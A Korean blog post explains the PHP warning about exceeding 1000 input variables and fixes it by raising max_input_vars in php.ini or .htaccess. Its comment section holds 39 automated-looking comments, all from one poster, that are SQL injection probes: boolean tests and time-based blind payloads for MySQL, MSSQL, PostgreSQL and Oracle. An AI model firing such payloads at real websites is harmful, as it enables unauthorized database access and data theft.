[PHP] Warning: Unknown: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini.

PHP Warning:  Unknown: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in Unknown on line 0

PHP Warning:  PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in Unknown on line 0

(1) 까닭

  PHP에서 GET / POST / COOKIE로 주고 받고 다루는 변수와 배열의 원소가 1000개를 넘으면 나오는 위와 같은 경고문(Warning)이 나올 수 있다. 이 경고문이 나올 때에 POST 방식으로 보내는 문자열이 잘릴 수 있다.(참고: PHP POST 전송 데이터가 짤릴 때)

  POST 방식으로 들어온 XML 내용을 웹 서버가 잘못 받아들이는 것도 까닭이 될 수 있다.

(2) 풀기

① php.ini에서 max_input_vars 올리기

  웹 서버의 php.ini에서 max_input_vars 값에 관한 내용을 찾아 값을 올려 준다.

; How many GET/POST/COOKIE input variables may be accepted
;max_input_vars = 1000

; How many GET/POST/COOKIE input variables may be accepted
max_input_vars = 2000

  php.ini의 흔한 파일 경로는 /etc/php.ini이지만, 다른 경로(/etc/opt/remi/php81/php.ini 등)에 있을 수도 있다. 고친 php.ini는 웹 서버 엔진을 다시 시작해야 적용된다.

  php.ini는 웹 서버의 관리 권한이 있어야 고칠 수 있다. 웹 서버의 관리 권한이 없고 아파치 서버를 쓰고 있다면 다음에 설명할 htaccess 파일을 고치는 방법을 쓸 수 있다.

② .htaccess 파일에서 max_input_vars 올리기

  아파치(apache) 서버 엔진을 쓰고 있다면, 웹 프로그램이 적용되는 .htaccess 파일에 다음과 같이 넣어서 max_input_vars 값을 바꿀 수 있다.

PHP_VALUE max_input_vars 2000

  고친 .htaccess 파일은 웹 서버 엔진을 다시 시작하지 않더라도 적용된다.

③ 프로그램 고치기

  max_input_vars를 많이 올려도 같은 오류가 난다면, PHP 프로그램의 문제일 수 있다. PHP 프로그램에서 POST 방식으로 주고받는 변수나 배열 원소가 많은 곳을 점검해 본다.

  POST 방식으로 온 정보를 웹 프로그램이 잘못 받아들여 경고문이 나오기도 한다. XML 형식으로 들어온 POST 정보를 웹 프로그램이 물음글(쿼리) 형식으로 받아들이면 그럴 수 있다.

2022/08/18 02:04 2022/08/18 02:04
글 걸기 주소 : 이 글에는 글을 걸 수 없습니다.

덧글을 달아 주세요

  1. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1 OR 2+977-977-1=0+0+0+1 --

  2. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1 OR 3+977-977-1=0+0+0+1 --

  3. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+977-977) --

  4. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+977-977) --

  5. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1 OR 2+571-571-1=0+0+0+1

  6. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1 OR 3+571-571-1=0+0+0+1

  7. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+571-571)

  8. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+571-571)

  9. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1' OR 2+627-627-1=0+0+0+1 --

  10. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1' OR 3+627-627-1=0+0+0+1 --

  11. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+627-627) --

  12. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+627-627) --

  13. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1' OR 2+987-987-1=0+0+0+1 or 'tKcyQiz7'='

  14. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1' OR 3+987-987-1=0+0+0+1 or 'tKcyQiz7'='

  15. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+987-987) or 'tKcyQiz7'='

  16. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+987-987) or 'tKcyQiz7'='

  17. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1" OR 2+289-289-1=0+0+0+1 --

  18. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1" OR 3+289-289-1=0+0+0+1 --

  19. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1" OR 3*2<(0+5+289-289) --

  20. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    -1" OR 3*2>(0+5+289-289) --

  21. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1*if(now()=sysdate(),sleep(15),0)

  22. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

  23. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

  24. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  25. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1-1; waitfor delay '0:0:15' --

  26. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1-1); waitfor delay '0:0:15' --

  27. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1-1 waitfor delay '0:0:15' --

  28. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1XyH4DqSs'; waitfor delay '0:0:15' --

  29. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1-1 OR 866=(SELECT 866 FROM PG_SLEEP(15))--

  30. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1-1) OR 249=(SELECT 249 FROM PG_SLEEP(15))--

  31. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1-1)) OR 651=(SELECT 651 FROM PG_SLEEP(15))--

  32. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1OBtYDXZj' OR 265=(SELECT 265 FROM PG_SLEEP(15))--

  33. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1bkv3Ku53') OR 265=(SELECT 265 FROM PG_SLEEP(15))--

  34. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1R7OvkFR3')) OR 494=(SELECT 494 FROM PG_SLEEP(15))--

  35. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  36. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  37. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    1'"

  38. fnfOzvSR 2026/04/28 04:02 고유주소 고치기 답하기

    @@0W4uo

  39. fnfOzvSR 2026/04/28 04:03 고유주소 고치기 답하기

    1